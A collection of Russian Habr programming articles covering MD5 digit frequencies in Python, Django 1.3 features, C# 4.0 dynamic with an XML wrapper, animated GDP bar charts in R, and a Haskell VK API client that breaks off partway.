К плате с ПЛИСом еще можно управление ИБП прикрутить. И этот дежруный комп своим сетевым запуском будет еще разблокировать возможность сетевого включения другого оборудования)))
P.S.
Один товарищ сказал что при отсутствии поддержки производителей оборудования сделать все это (WOL) будет очень сложно и смысла браться нет и т.д. и т.п. Поспорили с ним на «просто так»…
Ну и кто сказал что мы что-то не смогем? :) | https://habr.com/ru/post/146404/ | null | ru | null |
# Анализ частоты появления цифр в хеше MD5
Все мы знаем, как выглядит хеш, но задавались ли вы вопросом, как часто встречается тот или иной символ в хеше? Я задался. И решил проверить. Набросал скрипт на Python для подсчета, и вот что из этого вышло.
Для начала я сгенерировал случайную строку символов (длиною от 0 до 1000).
```
def random_string(from_int, to_int):
return str(''.join(random.SystemRandom().choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(random.randint(from_int, to_int))))
```
Далее взял хеш MD5 от строки.
```
def md5_from_string(string):
return hashlib.md5(string.encode('utf-8')).hexdigest()
```
После – просчитал, сколько цифр от 0 до 9 есть в хеше. На выборке из 1000 хешей получил такие данные:
Здесь интересна разница между самой часто встречающейся цифрой и самой редко встречающейся (значение delta).
Далее, для того чтобы проследить изменение значения delta сделал выборки 10000, 100000, 1000000, 10000000 хешей.
Далее представлен список со значениями минимально и максимально встречающихся цифр и значении delta на выборках с разным количеством MD5 хешей:
* 100 — min: 179, max: 230, delta: **22.17%**
* 1000 — min: 1925, max: 2058, delta: **6.46%**
* 10000 — min: 19769, max: 20251, delta: **2.38%**
* 100000 — min: 199297, max: 200846, delta: **0.77%**
* 1000000 — min: 1997650, max: 2001690, delta: **0.20%**
* 10000000 — min: 19991830, max: 20004818, delta: **0.06%**
Что мы имеем: с увеличением количества хешей в массиве значение delta уменьшается и любая цифра почти с одной и той же вероятностью попадется в массиве. Таким образом, чем больше выборка – тем меньше разница между часто встречающимся и редко встречающимся цифрами. Соответственно и вероятность получения той или иной цифры в хеше — стремится к равномерности.
Эта информация легла в основу алгоритма, который мы реализовали на платформе для проведения конкурсов [bepeam.com](https://bepeam.com) | https://habr.com/ru/post/453094/ | null | ru | null |
# Что будет в django 1.3
Релиз django 1.3 совсем скоро. Думаю, многие уже RC в продакшне используют. Но все равно, пробегусь еще раз по тому, что нас ждет, стараясь не скатиться в перевод release notes.
#### django.contrib.staticfiles
Теперь можно организовывать статику (картинки, js, css и т.д.) точно так же, как организуются шаблоны: держать ее в папке приложения (особенно полезно для отдельных django-приложений) или в папке проекта, переопределять часть файлов, оставляя другие нетронутыми, ссылаться на файлы, не заботясь о том, куда их пользователь поместит или где он хранятся (отдельный сервер? amazon s3?), не нужно больше «руками» эти файлы выискивать и копировать в правильное место.
Грязные хаки со статикой для админки теперь тоже, можно считать, в прошлом — если просто использовать django.contrib.staticfiles, проблем не будет.
#### Тестирование
В джанге теперь живет [unittest2](http://www.voidspace.org.uk/python/articles/unittest2.shtml), django.test.TestCase наследуется от unittest2.TestCase. Это означает, что можно писать тесты для джанги, используя все новые фичи из unittest2. Например, можно писать тесты заранее и помечать их декоратором expectedFailure. Или указывать условия, при которых тесты должны пропускаться (например, тесты, специфичные для mysql и не должны проходить под sqlite). Или использовать новые assert'ы.
Конечно, раньше можно было поставить unittest2 и использовать его, но это не помогало, когда была нужна база и наследоваться нужно было от django.test.TestCase.
Появились также разные полезные мелочи вроде assertNumQueries.
#### ForeignKey
Ура, теперь при удалении объекта, на который кто-то ссылался через FK, ссылающиеся объекты не будут обязательно удалены. Можно [настроить](http://docs.djangoproject.com/en/dev//ref/models/fields/#django.db.models.ForeignKey.on_delete) каскадное удаление, сброс в NULL или значение по умолчанию, вызов исключения, ничегонеделание (позволить базе самой решать).
#### Шаблоны
Часто писали
```
{% with foo as bar %}
{% include "my_template.inc.html" %}
{% endwith %}
```
или inclusion-теги для таких штук? Теперь это не обязательно, и кучу inclusion-тегов можно выкинуть будет:
```
{% include "my_template.inc.html" with bar=foo %}
```
+ можно загружать только отдельные теги из библиотек тегов; в url можно передавать переменные; тег with тоже упрощен; теги, созданные через simple\_tag, научились принимать контекст.
#### Кеширование
Появилась поддержка нескольких кешей одновременно (например, часть данных можно хранить в localmem-кеше, часть — в memcached/базе, или для некоторых вещей использовать «умные» кеширующие бекенды с инвалидацией и защитой от одновременной повторной регенерации, для других — нет).
Кроме того, из разных сторонних приложений с кеширующими бекендами в джангу переползли полезные фичи: теперь из коробки есть поддержка глобального префикса (нужен, если несколько проектов используют 1 memcached, чтобы избежать конфликта ключей), версий кеша (обновил сайт, а в кеше старые данные лежат, которые теперь в неправильном формате? увеличь текущую версию кеша), преобразования ключей (нужна хитрая схема инвалидации? реализуй), поддержка pylibmc, кеширования для GET-запросов с параметрами.
#### Журналирование
Интеграция с питоновским logging теперь есть. В settings.py можно журналирование гибко настраивать. Отсылка email'ов по 500 ошибкам наконец тоже сделана через logging.
#### Вьюхи
Для написания вьюх появилась куча разных полезностей.
##### Вьюхи, основанные на классах.
Можно теперь писать вьюхи-классы. Для себя пока не понял, зачем они. Наверное, стоит использовать для каких-то «больших» штук, или когда какая-то сложная штуковина с замороченной логикой, которую нужно расширять в других местах (декларативный api? что-то уровня универсальной админки?). Стандартные generic views теперь переписаны на классах, чтобы их проще было расширять.
##### TemplateResponse
Для того, чтобы можно было расширять и обычные вьюхи-функции, в джанге теперь есть TemplateResponse. TemplateResponse — это ленивый HttpResponse, который рендерит результат (подставляет контекст в шаблон) только в самый последний момент. Если функция возвращает TemplateResponse, то у нее потом можно заменить шаблон, изменить (и прочитать) контекст, или вернуть совсем другое что-то (без накладных расходов на рендеринг исходного ответа). Эту штуку довольно легко пропустить в release notes и начать для гибкости наворачивать вьюхи на классах, поэтому пример:
```
# библиотека для работы с попугаями
# была написана профессором биологии в качестве материала к диссертации
from django.template.response import TemplateResponse
from parrots.models import Parrot
def parrot_list(request):
parrots = Parrot.objects.all()
# По умолчанию будет использоваться RequestContext.
# Полотна с render_to_template и хаки с direct_to_template теперь не нужны.
return TemplateResponse(request, 'parrots.html', {'parrots': parrots})
```
```
# наш проект.
# parrot_list делает много всего крутого и полезного (еще бы, профессор биологии писал), мы
# хотим это повторно использовать, но некоторые вещи мечтаем поправить
import parrots.views
def parrot_list(request, color)
# то, что функция возвращала по умолчанию
response = parrots.views.parrot_list(request)
# на данный момент шаблон еще не рендерился (TemplateResponse ленивый),
# к базе обращений тоже еще не было (QuerySet тоже ленивый)
# меняем шаблон на свой - данные, с которыми он будет рендериться, пока теми же остаются
response.template_name = 'my_parrots.html'
# вытаскиваем профессорских попугаев
original_parrots = response.context_data['parrots']
# фильтруем их по цвету, добавляем хозяина попугая сразу в выборку
response.context_data['parrots'] = original_parrots.filter(color=color).select_related('owner')
# еще что-нибудь пусть в контексте будет
response.context_data['foo'] = 'bar'
# вот теперь все настроили как хотели
return response
```
Generic views теперь возвращают TemplateResponse по умолчанию, ~~вьюхи из django.contrib.admin — тоже~~.
**UPD**: принял желаемое за действительное, вьюхи из django.contrib.admin TemplateResponse не возвращают! [Тикет](http://code.djangoproject.com/ticket/15008) висит, но его к релизу не закоммитили.
##### django.shortcuts.render
```
# профессор не хочет, чтобы материалами его диссертации пользовались
from django.shortcuts import render
def parrot_list(request):
parrots = Parrot.objects.all()
# render_to_response и direct_to_template теперь не нужны
return render(request, 'parrots.html', {'parrots': parrots})
```
Это не все: кроме этих изменений, улучшена работа с i18n и l10n, из кода был [убран](http://code.djangoproject.com/changeset/13996) весь мат, ну и еще много разных менее заметных изменений и архитектурных улучшений, о части которых можно почитать в [release notes](http://docs.djangoproject.com/en/dev//releases/1.3/). | https://habr.com/ru/post/115763/ | null | ru | null |
# Интересные вещи, которые можно делать с dynamic в .NET 4.0
В статье «[Обзор C# 4.0](http://www.thycotic.com/an-overview-of-c-4-0)» я обсуждал некоторые из новых особенностей четвертой версии языка C#. Так получилось, что я не рассмотрел одно из самых важных нововведений: ключевое слово **dynamic**.
Попросту говоря, объект с типом dynamic не имеет строгой семантики использования на этапе компиляции. Все члены экземпляра определяются во время выполнения с помощью Dynamic Language Runtime (DLR). Вот простой пример:
> `static void Main(string[] args)
>
> {
>
> dynamic int1 = 1;
>
> dynamic int2 = 2;
>
> dynamic result = int1 + int2;
>
> Console.WriteLine(result);
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Как и следовало ожидать, этот код напечатает «3». Однако, оператор «+» и то, чем же, на самом деле, являются переменные int1 и int2 будет определенно не на этапе компиляции, а во время выполнения. Я продемонстрирую вам другой пример (он выглядит так, как будто не должен компилироваться, но, на самом деле, с этим у него все в порядке):
> `static void Main(string[] args)
>
> {
>
> dynamic int1 = 1;
>
> dynamic ex1 = new Exception("Oops!");
>
> dynamic result = int1 + ex1;
>
> Console.WriteLine(result);
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Вообще-то, такой код не должен был бы компилироваться, так как оператор «+» не определен для пары аргументов типа int и Exception. Но, так как мы используем dynamic, код скомпилируется, а уже на этапе выполнения мы получим исключение:
> Unhandled Exception: Microsoft.CSharp.RuntimeBinder.RuntimeBinderException: Operator ‘+’ cannot be applied to operands of type ‘int’ and ‘System.Exception’
Как же можно использовать все это? Почему мы не можем использовать настоящие типы вместо dynamic? Возможный сценарий использования нововведения: если на этапе компиляции мы не знаем, какого типа объект или же если мы получили объект из необычного источника, например с помощью рефлексии. Раньше при использовании рефлексии приходилось использовать ухищрения вроде методов Invoke или GetProperty, сейчас же достаточно определить объект как динамический и использовать интуитивно-понятный синтаксис. Та же ситуация возникает, когда используется COM Interop: если для объекта не реализована полная обертка на .NET мы можем использовать dynamic и спокойно использовать его без написания большого количества кода для механизма обертки.
Но самым интересным использованием dynamic является определение собственных динамических типов. Для этого в .NET 4.0 ввели новый базовый тип – DynamicObject. Он позволяет определить, как объект должен вести себя во время выполнения, и каким образом он будет обрабатывать свои свойства и методы. С помощью него становится возможным построить некоторые мощные и полезные инструменты.
Я немного работал с PowerShell, и что меня поразило, так это то, как легко на нем работать с XML. Вот кусок кода на PowerShell, который загружает XML-файл:
> `$xmlConfig = New-Object XML
>
> $xmlConfig.Load(”Some XML Path”);
>
> $backup = ($xmlConfig.configuration.appSettings.add | where {$\_.key –eq ‘BackupEveryInMinutes’}).value;
>
> \* This source code was highlighted with Source Code Highlighter.`
Сам файл выглядит примерно так:
> `<configuration>
>
> <appSettings>
>
> <add key="BackupEveryInMinutes" value="1440" />
>
> appSettings>
>
> configuration>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Таким образом, переменной $backup будет присвоено значение «1440». Мне понравился такой способ доступа к свойствам $xmlConfig, как будто они всегда были там. В предыдущих версиях C# и .NET такое не представлялось возможным. Однако с использованием DynamicObject мы можем создать объект, который сможет работать точно так же. Начнем же!
Создадим класс, который наследуется от DynamicObject:
> `public class DynamicXml : DynamicObject
>
> {
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Самое важное тут – это переопределить метод TryGetMember. Это способ, которым мы скажем DLR, как динамически определять член класса.
> `public class DynamicXml : DynamicObject
>
> {
>
> public override bool TryGetMember(GetMemberBinder binder, out object result)
>
> {
>
> }
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Рассмотрим детальнее параметры: «binder» – то, что мы пытаемся определить, параметр, который говорит нам, что именно DLR пытается вызвать у объекта (например, это может быть имя свойства). Параметр «result» – результат вызова, который нужно возвратить DLR. Метод возвращает «True», если удалось успешно определить член динамического объекта и «False», если нет. В нашем случае мы будем возвращать «False», если XML не содержит вершину, к которой мы пытаемся обратиться. Это, в свою очередь, вызовет в DLR исключение во время выполнения.
Конструктор объекта будет принимать параметром объект типа XmlNode. В нашем случае мы будем загружать XmlDocument и передавать его, так как он наследуется от XmlNode.
Таким образом, мы сможем использовать наш класс примерно так:
> `XmlDocument document = new XmlDocument();
>
> document.Load(”pathtoxml.xml”);
>
> dynamic dynamicXml = new DynamicXml(document);
>
> string value = dynamicXml.configuration.appSettings.add.value;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Свойства, используемые в dynamicXml – это вершины XML, к которым мы пытаемся получить доступ. Мы можем посмотреть в параметре binder, к какому свойству осуществляется доступ и, в случае необходимости рекурсивно вернуть наш динамический объект, для продолжения. В результате мы получим примерно такой код:
> `using System.Xml;
>
> using System.Collections.Generic;
>
> using System.Dynamic;
>
>
>
> namespace CSharp4
>
> {
>
> public class DynamicXml : DynamicObject
>
> {
>
> private readonly XmlNode \_node;
>
>
>
> public DynamicXml(XmlNode node)
>
> {
>
> \_node = node;
>
> }
>
>
>
> public override bool TryGetMember(GetMemberBinder binder, out object result)
>
> {
>
> result = null;
>
> XmlNodeList nodes = \_node.SelectNodes(binder.Name);
>
> if (nodes.Count == 0)
>
> nodes = \_node.SelectNodes("@" + binder.Name); //Check and see if it's an attribute.
>
> if (nodes.Count == 0)
>
> return false;
>
> if (nodes.Count == 1)
>
> {
>
> XmlNode node = nodes[0];
>
> result = GetContent(node);
>
> }
>
> else
>
> {
>
> List results = new List();
>
> foreach (XmlNode node in nodes)
>
> {
>
> results.Add(GetContent(node));
>
> }
>
> result = results;
>
> }
>
> return true;
>
> }
>
>
>
> private dynamic GetContent(XmlNode node)
>
> {
>
> if (node.NodeType == XmlNodeType.Attribute)
>
> return node.Value;
>
> if (node.HasChildNodes || node.Attributes.Count > 0)
>
> return new DynamicXml(node);
>
> return node.InnerText;
>
> }
>
>
>
> public override string ToString()
>
> {
>
> return this;
>
> }
>
>
>
> public static implicit operator string(DynamicXml xml)
>
> {
>
> return xml.\_node.InnerText;
>
> }
>
> }
>
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Конечно, он не идеален. Он мог бы обрабатывать коллекции более правильным способом, чем просто возвращать список и поддерживать другие типы, кроме строки. И это далеко не лучшее решение в данном случае, существуют те же XDocument и LINQ, которые являются лучшей альтернативой при работе с XML. Однако, я считаю, что это отличная иллюстрация мощи dynamic, которую принес нам C# 4.0.
[](http://progg.ru/%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%B5%D1%81%D0%BD%D1%8B%D0%B5-%D0%B2%D0%B5%D1%89%D0%B8-%D0%BA%D0%BE%D1%82%D0%BE%D1%80%D1%8B%D0%B5-%D0%BC%D0%BE%D0%B6%D0%BD%D0%BE-%D0%B4%D0%B5%D0%BB%D0%B0%D1%82%D1%8C-%D1%81-dynamic-%D0%B2-NET-40-NET-%D0%A5%D0%B0%D0%B1%D1%80%D0%B0%D1%85%D0%B0%D0%B1%D1%80) | https://habr.com/ru/post/79139/ | null | ru | null |
# Создаем анимированные гистограммы при помощи R
Анимированные гистограммы, которые можно встроить прямо в публикацию на любом сайте, становятся все более популярными. Они отображают динамику изменений любых характеристик за определенное время и делают это наглядно. Давайте посмотрим, как их создать при помощи R и универсальных пакетов.
> **Skillbox рекомендует:** Практический курс [«Python-разработчик с нуля»](https://skillbox.ru/python/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PTNDEV&utm_content=articles&utm_term=chartswithr).
>
>
>
> **Напоминаем:** *для всех читателей «Хабра» — скидка 10 000 рублей при записи на любой курс Skillbox по промокоду «Хабр».*
### Пакеты
Нам нужны пакеты в R:
* ggplot2
* [gganimate](https://gganimate.com/index.html)
Эти два крайне необходимы. Кроме того, потребуются tidyverse, janitor и scales для управления данными, очистки массива и форматирования соответственно.
### Данные
Оригинальный набор данных, который мы будем использовать в этом проекте, загружается с сайта Всемирного банка. Вот они — [WorldBank Data](https://databank.worldbank.org/data/reports.aspx?source=2&series=NY.GDP.MKTP.CD&country=#). Те же данные, если они вам нужны в готовом виде, можно загрузить из [папки проекта](https://github.com/amrrs/animated_bar_charts_in_R).
Что это за информация? Выборка содержит значение ВВП большинства стран за несколько лет (с 2000 по 2017 годы).
### Обработка данных
Мы будем использовать код, размещенный ниже, для подготовки необходимого формата данных. Очищаем названия столбцов, превращаем цифры в числовой формат и конвертируем данные при помощи функции gather(). Все, что получено, сохраняем в gdp\_tidy.csv для дальнейшего использования.
```
library(tidyverse)
library(janitor)
gdp <- read_csv("./data/GDP_Data.csv")
#select required columns
gdp <- gdp %>% select(3:15)
#filter only country rows
gdp <- gdp[1:217,]
gdp_tidy <- gdp %>%
mutate_at(vars(contains("YR")),as.numeric) %>%
gather(year,value,3:13) %>%
janitor::clean_names() %>%
mutate(year = as.numeric(stringr::str_sub(year,1,4)))
write_csv(gdp_tidy,"./data/gdp_tidy.csv")
```
### Анимированные гистограммы
Их создание требует двух этапов:
* Построение полного набора актуальных гистограмм с использованием ggplot2.
* Анимирование статических гистограмм с желаемыми параметрами при помощи gganimate.
Финальный шаг — рендеринг анимации в желаемом формате, включая GIF или MP4.
### Загрузка библиотек
* library(tidyverse)
* library(gganimate)
### Управление данными
На этом шаге надо отфильтровать данные для получения топ-10 стран каждого года. Добавим несколько колонок, которые позволят отображать легенду для гистограммы.
```
gdp_tidy <- read_csv("./data/gdp_tidy.csv")
gdp_formatted <- gdp_tidy %>%
group_by(year) %>%
# The * 1 makes it possible to have non-integer ranks while sliding
mutate(rank = rank(-value),
Value_rel = value/value[rank==1],
Value_lbl = paste0(" ",round(value/1e9))) %>%
group_by(country_name) %>%
filter(rank <=10) %>%
ungroup()
```
### Построение статических гистограмм
Теперь, когда у нас есть пакет данных в нужном формате, начинаем отрисовку статических гистограмм. Базовая информация — топ-10 стран с максимальным ВВП за выбранный интервал времени. Графики строим для каждого года.
```
staticplot = ggplot(gdp_formatted, aes(rank, group = country_name,
fill = as.factor(country_name), color = as.factor(country_name))) +
geom_tile(aes(y = value/2,
height = value,
width = 0.9), alpha = 0.8, color = NA) +
geom_text(aes(y = 0, label = paste(country_name, " ")), vjust = 0.2, hjust = 1) +
geom_text(aes(y=value,label = Value_lbl, hjust=0)) +
coord_flip(clip = "off", expand = FALSE) +
scale_y_continuous(labels = scales::comma) +
scale_x_reverse() +
guides(color = FALSE, fill = FALSE) +
theme(axis.line=element_blank(),
axis.text.x=element_blank(),
axis.text.y=element_blank(),
axis.ticks=element_blank(),
axis.title.x=element_blank(),
axis.title.y=element_blank(),
legend.position="none",
panel.background=element_blank(),
panel.border=element_blank(),
panel.grid.major=element_blank(),
panel.grid.minor=element_blank(),
panel.grid.major.x = element_line( size=.1, color="grey" ),
panel.grid.minor.x = element_line( size=.1, color="grey" ),
plot.title=element_text(size=25, hjust=0.5, face="bold", colour="grey", vjust=-1),
plot.subtitle=element_text(size=18, hjust=0.5, face="italic", color="grey"),
plot.caption =element_text(size=8, hjust=0.5, face="italic", color="grey"),
plot.background=element_blank(),
plot.margin = margin(2,2, 2, 4, "cm"))
```
Строить графики с использованием ggplot2 весьма просто. Как вы можете видеть в участке кода выше, есть несколько ключевых моментов с функцией theme (). Они необходимы, чтобы все элементы анимировались без проблем. Некоторые из них можно и не отображать при необходимости. Пример: прорисовываются только вертикальные линии сетки и легенды, а вот заголовки осей и еще несколько компонентов удаляются с участка.
### Анимация
Ключевая функция здесь — transition\_states(), она склеивает отдельные статические графики. view\_follow () используется для прорисовки линий сетки.
```
anim = staticplot + transition_states(year, transition_length = 4, state_length = 1) +
view_follow(fixed_x = TRUE) +
labs(title = 'GDP per Year : {closest_state}',
subtitle = "Top 10 Countries",
caption = "GDP in Billions USD | Data Source: World Bank Data")
```
### Рендеринг
После того, как анимация создана и сохранена в объекте anim, приходит время ее визуализировать с помощью функции animate (). Рендерер, используемый в animate (), может быть разным в зависимости от типа требуемого выходного файла.
**GIF**
```
# For GIF
animate(anim, 200, fps = 20, width = 1200, height = 1000,
renderer = gifski_renderer("gganim.gif"))
```
**MP4**
```
# For MP4
animate(anim, 200, fps = 20, width = 1200, height = 1000,
renderer = ffmpeg_renderer()) -> for_mp4
anim_save("animation.mp4", animation = for_mp4 )
```
### Результат
Как видим, ничего сложного. Весь проект доступен в [моем GitHub](https://github.com/amrrs/animated_bar_charts_in_R), можете использовать его так, как посчитаете нужным.
> **Skillbox рекомендует:**
>
>
>
> * Двухлетний практический курс [«Я — веб-разработчик PRO»](https://iamwebdev.skillbox.ru/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=WEBDEVPRO&utm_content=articles&utm_term=chartswithr).
> * Онлайн-курс [«С#-разработчик с нуля»](https://skillbox.ru/c-sharp/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=CSHDEV&utm_content=articles&utm_term=chartswithr).
> * Практический годовой курс [«PHP-разработчик с 0 до PRO»](https://skillbox.ru/php/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=PHPDEV&utm_content=articles&utm_term=chartswithr).
> | https://habr.com/ru/post/446952/ | null | ru | null |
# Haskell для ВКонтакте, JavaScript и ReactJS, Или «Чужой против Симпсонов»
Данный пост является попыткой добавить пару капель топлива в машину пропаганды Haskell, демонстрируя его использование в повседневных задачах.
В качестве таковых рассмотрим следующие:
* Реализуем пакет доступа к [API ВКонтакте](https://vk.com/dev).
Код будет работать как в «native» приложениях, так и в приложениях JavaScript через GHCJS, компилятор Haskell в JavaScript
* Напишем одностраничное браузерное приложение, используя наше API
Повествование носит сугубо иллюстративный характер в стиле «акын» (что вижу, то пою).
Итак, приступим.
API Вконтакте
-------------
Полный код пакета приведен здесь [vk-api](https://github.com/eryx67/vk-api.git).
Типичное использование разрабатываемого нами API будет выглядеть следующим образом
```
appId :: Int
appId = 123456
main :: IO ()
main =
execVKAPI () (createSettings appId "myname" "mypass" (Just [Audio])) $ do
-- ищем аудио Вконтакте
(AR (Items (sar:_) _)) <- toAPI $ def{searchQ = "ABBA"
, searchCount = Just 2
, searchLyrics = Just 1
}
-- Ищем аудио у конкретного пользователя
(AR (gar:_)) <- toAPI $ GetById [(audioOwnerId sar, audioId sar)]
-- добавляем найденную запись в свою коллекцию
(AR aid) <- toAPI $ Add (audioId gar) (audioOwnerId gar) Nothing
Just uid <- liftState $ gets getUserId
-- переименовываем добавленную запись
toAPI $ def{editOwnerId = UserId uid
, editAudioId = aid
, editTitle = Just "My Added Record"
}
return ()
```
Основой для реализации [API ВКонтакте](https://vk.com/dev) послужит пакет [api-builder](https://github.com/eryx67/api-builder.git).
Запросы и результаты мы хотим представлять в виде записей ADT. Ответы будем получать в виде JSON.
### Описание операций API
На уровне типов свяжем запросы и результаты через класс **Routable**
```
class (Queryable q, Receivable a) => Routable q a | q -> a where
toRoute :: q -> Route
toAPI :: (MonadIO m, ErrorReceivable e) => q -> APIT s e m a
toAPI = runRoute . toRoute
```
Декларируя [функциональную зависимость](https://wiki.haskell.org/Functional_dependencies) **q -> a**, мы клятвенно обещаем компилятору, что отображение типов запросов на типы результатов будет однозначно.
Конечное описание каждой операции API будет емкое и удобочитаемое, например для [audio.getLyrics](https://vk.com/dev/audio.getLyrics)
```
-- audio.getLyrics Возвращает текст аудиозаписи
instance Routable GetLyrics (ActionResponse Lyrics) where
toRoute q = Route ["audio.getLyrics"] (toURLParams q) "GET"
```
### Описание запросов
Тип запроса должен быть экземпляром класса **Queryable** для конвертации в список url-параметров
```
class Queryable a where
toURLParams :: a -> [URLParam]
```
Реализация каждого конкретного экземпляра **Queryable** — дело легкое, но нудное, потому создадим макрос
[Template Haskell](https://wiki.haskell.org/Template_Haskell), пусть компилятор трудится за нас, а мы хотим затратить минимум усилий на описание наших запросов.
```
data GetLyrics = GetLyrics {getlyricsLyricsId :: !Int}
deriving Show
$(deriveQueryable' (standard . dropLPrefix) ''GetLyrics)
```
Haskell в отношении макрологии далеко не Lisp, но в создании базового шаблона нам поможет интерпретатор. Попросим его показать AST для желаемого выражения.
```
runQ [d|
instance Queryable Lyrics where
toURLParams r = [("lyrics_id" =. lyricsLyricsId r), ("text" =. lyricsText r)] |]
```
**AST**
```
[InstanceD [] (AppT (ConT Queryable) (ConT Lyrics))
[FunD toURLParams
[Clause [VarP r_2]
(NormalB
(ListE [InfixE (Just (LitE (StringL "lyrics_id")))
(VarE =.)
(Just (AppE (VarE lyricsLyricsId) (VarE r_2))),
InfixE (Just (LitE (StringL "text")))
(VarE =.)
(Just (AppE (VarE lyricsText) (VarE r_2)))]))
[]]]]
```
Далее остается находить по именам полученного AST соответсвующие функции в [Language.Haskell.TH](http://hackage.haskell.org/package/template-haskell-2.10.0.0/docs/Language-Haskell-TH.html) и конструировать наш макрос **deriveQueryable**.
Функции Haskell не имеют опциональных параметров, но мы предусмотрим значения по-умолчанию, описав для запросов экземпляры класса [Default](http://hackage.haskell.org/package/data-default-generics).
Пользователь сможет изменять только интересующие его атрибуты записи.
```
instance Default Save where
def = Save 0 "" "" Nothing Nothing
```
### Описание ответов
Связь JSON ответов с записями ADT для каждого типа результата будет определена экземпляром класса
[Receivable](http://hackage.haskell.org/package/api-builder-0.11.0.0/docs/Network-API-Builder-Receive.html).
С автоматизацией конвертирования JSON в записи ADT легко справляется [aeson](http://hackage.haskell.org/package/aeson).
```
data Lyrics = Lyrics {
lyricsLyricsId :: Int
, lyricsText :: T.Text
}
deriving (Show, Generic)
instance FromJSON Lyrics where
parseJSON = genericParseJSON $ aesonPrefix snakeCase
instance Receivable Lyrics where
receive = useFromJSON
```
### Прерывание последовательности вычислений
Использование типов [Maybe](https://wiki.haskell.org/Maybe),[Either](https://hackage.haskell.org/package/base-4.8.1.0/docs/Data-Either.html) в монадическом контексте или монадных трансформеров [MaybeT](https://hackage.haskell.org/package/transformers-0.4.3.0/docs/Control-Monad-Trans-Maybe.html), [EitherT](https://hackage.haskell.org/package/either-4.4.1/docs/Control-Monad-Trans-Either.html), [ExceptT](https://hackage.haskell.org/package/mtl-2.2.1/docs/Control-Monad-Except.html#t:ExceptT) и.т.д позволяет прервать вычисление на первом «исключении», избегая утомительных проверок.
Haskell в данном подходе не одинок, так [опциональные последовательности](https://developer.apple.com/library/mac/documentation/Swift/Conceptual/Swift_Programming_Language/OptionalChaining.html) в Swift являются не чем иным, как монадой **Maybe** «для бедных», впиленной на уровне синтаксиса.
Пакет [errors](https://hackage.haskell.org/package/errors) предоставляет всевозможные функции перепинывания вычислений«взад-назад» между членами этой команды. Чем мы и воспользуемся, иначе наш код загрузки аудиофайлов на сервер с множеством проверок был бы неудобочитаем.
**uploadAudio**
```
-- | Upload audio file 'fn' to VKontakte. Register optional 'artist'
-- and 'title' for it.
uploadAudio :: T.Text -> Maybe T.Text -> Maybe T.Text
-> API s VKError (ActionResponse SavedAudio)
uploadAudio fn artist title = do
(AR (UploadServer uploadURL)) <- toAPI GetUploadServer
let msrv = uriToRoute <$> (parseURI $ T.unpack uploadURL)
(srvURL, srvArgs, srvRoute) <- hoistEither $ note (mkError "bad upload url") msrv
-- создаем запрос, файл будет послан в потоке
let fnPart = partFileSource "file" $ T.unpack fn
parts = Multipart $ (fnPart:srvArgs)
mreq <- sendMultipart (basicBuilder "audioUpload" srvURL) srvRoute parts
req <- hoistEither $ note (mkError "can't construct request") mreq
-- посылаем запрос
manager <- liftManager ask
resp <- liftIO $ try $ httpLbs req manager
res <- hoistEither $ first HTTPError resp
-- парсим ответ в запрос 'Save' и добавляем файл в наш аккаунт
save <- hoistEither $ receive res
toAPI save{saveArtist = artist, saveTitle = title}
...
```
### Декларативный парсинг строк
Средств работы со строками и регулярными выражениями в Haskell не меньше чем в любом другом уважаемом языке, но есть способ лучше. Генераторы парсеров в Haskell имеют ярко выраженный вкус декларативности, поэтому в нижеследующем случае мы отложим ножницы в сторону и напишем небольшой парсер на [Parsec](https://wiki.haskell.org/Parsec) для конвертации [privacy\_setting](https://vk.com/dev/privacy_setting) API в ADT.
**ADT и парсер**
```
data Privacy = AllowAll
| AllowFriends
| AllowFriendsOfFriends
| AllowFriendsOfFriendsOnly
| AllowNobody
| AllowOnlyMe
| AllowList Int
| AllowUser Int
| DenyList Int
| DenyUser Int
deriving Show
instance FromJSON Privacy where
parseJSON =
withText "Privacy" doParse
where
doParse txt =
case parse parser "" txt of
Left _ -> mempty
Right v -> pure v
parser =
try (string "friends_of_friends_only" >> return AllowFriendsOfFriendsOnly)
<|> try (string "friends_of_friends" >> return AllowFriendsOfFriends)
<|> (string "friends" >> return AllowFriends)
<|> (string "nobody" >> return AllowNobody)
<|> (string "only_me" >> return AllowOnlyMe)
<|> (string "list" >> many1 digit >>= return . AllowList . read)
<|> (many1 digit >>= return . AllowUser . read)
<|> (string "all" >> return AllowAll)
<|> (string "-" >>
((many1 digit >>= return . DenyUser . read)
<|> (string "list" >> many1 digit >>= return . DenyList . read)))
```
Как видим реализация по компактности и понятности мало отличается от текстового описания.
### Тестирование
Для тестирования используем популярный BDD пакет [HSpec](http://hspec.github.io/).
HSpec умеет искать тесты, выполнять инициализацию и очистку, имеет простой декларативный интерфейс. Тест для проверки OAuth авторизации ВКонтакте будет выглядеть следующим образом.
**Тест для проверки OAuth авторизации ВКонтакте**
```
spec :: Spec
spec = do
describe "OAuth authorization" $ do
it "doesn't ask for any permissions" $ do
execVKAPI () (vksettings Nothing) getAuthToken
>>= (`shouldSatisfy` checkAuthToken)
it "asks for some permissions" $ do
execVKAPI () (vksettings $ Just [Audio, Video]) getAuthToken
>>= (`shouldSatisfy` checkAuthToken)
where
getAuthToken =
liftState $ gets _vkAuthToken
checkAuthToken :: Either (APIError VKError) (Maybe AuthToken) -> Bool
checkAuthToken (Right (Just (AuthToken _ _ _))) = True
checkAuthToken _ = False
vksettings :: Maybe [AuthPermissions] -> VKSettings
vksettings scope = createSettings appId userName userPass scope
```
Браузерное приложение
---------------------
Полный код пакета приведен здесь [vk-api-example](https://github.com/eryx67/vk-api-example.git).
Наше небольшое приложение будет отображать и проигрывать в собственном плеере аудио пользователя, популярные треки, осуществлять поиск аудиозаписей.
Теперь рассмотрим насколько удобен Haskell для написания JavaScript приложений.
Haskell семейство компиляторов в JavaScript довольно велико, из наиболее популярных отметим:
* [GHCJS](https://github.com/ghcjs/ghcjs) — полноценный Haskell
